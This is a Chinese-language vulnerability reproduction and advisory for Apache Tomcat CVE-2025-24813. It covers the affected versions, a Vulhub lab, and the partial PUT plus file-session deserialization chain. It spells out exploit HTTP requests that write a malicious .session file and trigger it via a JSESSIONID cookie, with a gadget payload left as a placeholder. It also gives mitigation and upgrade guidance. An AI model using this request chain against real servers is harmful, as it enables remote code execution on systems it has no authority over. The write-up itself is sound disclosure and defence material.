Skip to content

Tomcat 远程代码执行漏洞 CVE-2025-24813

漏洞描述

Apache Tomcat 是一个开源的 Java Servlet 容器和 Web 服务器,支持运行 Java Servlet、JavaServer Pages (JSP) 和其他基于 Java 的 Web 应用程序,广泛用于开发和部署企业级 Web 应用。

该漏洞源于 Tomcat DefaultServlet 处理 partial PUT 请求(基于 Content-Range 头的 HTTP PUT 请求)时的临时文件命名逻辑不安全,导致攻击者可以通过构造特殊的请求路径,访问或写入安全敏感文件。

满足以下条件,攻击者可以访问或修改安全敏感文件:

  1. DefaultServlet 启用了写入权限(默认情况下禁用)。
  2. 服务器启用了 partial PUT(默认启用)。
  3. 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件)
  4. 攻击者已知目标敏感文件的路径以及文件名。
  5. 敏感文件是通过 partial PUT 上传的。

满足以下条件,攻击者可以远程代码执行(RCE):

  1. DefaultServlet 启用了写入权限(默认情况下禁用)。
  2. 服务器启用了 partial PUT(默认启用)。
  3. Tomcat 使用了基于文件的 Session 持久化机制(非默认配置,默认为基于内存持久化),且存储位置为默认路径。
  4. 应用程序包含可利用的反序列化漏洞库(如 Commons-Collections 3.x)。

参考链接:

漏洞影响

11.0.0-M1 ≤ Apache Tomcat ≤ 11.0.2
10.1.0-M1 ≤ Apache Tomcat ≤ 10.1.34
9.0.0.M1 ≤ Apache Tomcat ≤ 9.0.98

环境搭建

Vulhub 执行以下命令启动存在漏洞的 Tomcat 9.0.97 服务器:

docker compose build
docker compose up -d

服务启动后,访问 http://your-ip:8080 即可看到 Tomcat 的示例页面。

漏洞复现

Content-Range 在 Tomcat 的 HTTP PUT 请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT

当发送不完全的 PUT 请求(使用 Content-Range 头)时,Tomcat 会将文件路径中的分隔符 (/) 转换为句点 (.),并将文件临时存储在会话存储目录中,例如:访问 /xxxxx/session 会被解析为 .xxxxx.session

该漏洞存在的原因是 Tomcat 中两个关键的错误配置。首先,在 conf/web.xml 中,DefaultServlet 配置了 readonly=false,允许文件上传:

xml
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

其次,在 conf/context.xml 中,Tomcat 配置了基于文件的 Session 持久化:

xml
<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore"/>
</Manager>

这两种配置都使用相同的默认存储路径:$CATALINA_BASE/work/Catalina/localhost/ROOT

URLDNS

我们先用 URLDNS gadget 进行测试。发送带有 Content-Range 头的部分 PUT 请求,在临时目录 $CATALINA_BASE/work/Catalina/localhost/ROOT 中写入名为 .deserialize.session 的文件:

PUT /deserialize/session HTTP/1.1
Host: your-ip:8080
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/data
Content-Length: 1000
Content-Range: bytes 0-1000/1200

YOUR-PAYLOAD-HERE

可以看到,文件 .deserialize.session 已经被写入:

然后,发送另一个带有 JSESSIONID cookie 的请求,触发文件 .deserialize.session 的反序列化:

GET / HTTP/1.1
Host: your-ip:8080
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=.deserialize

URLDNS gadget 被成功反序列化,并发送了 DNS 请求:

CommonsCollectionsK1

回顾一下远程代码执行(RCE)的利用过程:

  1. DefaultServlet 配置了 readonly=false,允许文件上传。
  2. 服务器默认启用了 partial PUT。
  3. Tomcat 配置了基于文件的 Session 持久化,且存储位置为默认路径 $CATALINA_BASE/work/Catalina/localhost/ROOT
  4. 应用程序存在反序列化利用链,在临时目录中写入包含恶意反序列化数据的文件。
  5. 设置 JSESSIONID=.xxxxx 触发漏洞。

我们修改 docker-compose.yml,引入 commons-collections-3.2.1

services:
 tomcat:
   build: .
   volumes:
     - ./commons-collections-3.2.1.jar:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1.jar
   ports:
    - "8080:8080"

重新启动服务:

docker compose up --force-recreate

java-chains 生成 payload:

发送带有 Content-Range 头的部分 PUT 请求,在临时目录 $CATALINA_BASE/work/Catalina/localhost/ROOT 中写入名为 .poc.session 的文件:

PUT /poc/session HTTP/1.1
Host: your-ip:8080
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/data
Content-Length: 1000
Content-Range: bytes 0-1000/1200

YOUR-PAYLOAD-HERE

可以看到,文件 .poc.session 已经被写入:

GET / HTTP/1.1
Host: your-ip:8080
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6788.76 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=.poc

CommonsCollectionsK1 gadget 被成功序列化,执行了 touch /tmp/awesome_poc 命令:

漏洞修复

临时缓解方案

如果暂时无法升级,可以采取以下临时措施降低风险:

  • 禁止 partial PUT:在 conf/web.xml 中修改 allowPartialPut 参数为 false,并 重启 Tomcat 以使配置生效。
  • 严格控制 DefaultServlet 写入权限:确保 readonly=true,禁用所有未经授权的 PUT/DELETE 请求,仅允许可信来源访问受限目录。

通用修补建议

  • 升级至 安全版本 Apache Tomcat ≥ 11.0.3、Apache Tomcat ≥10.1.35、 Apache Tomcat ≥ 9.0.99。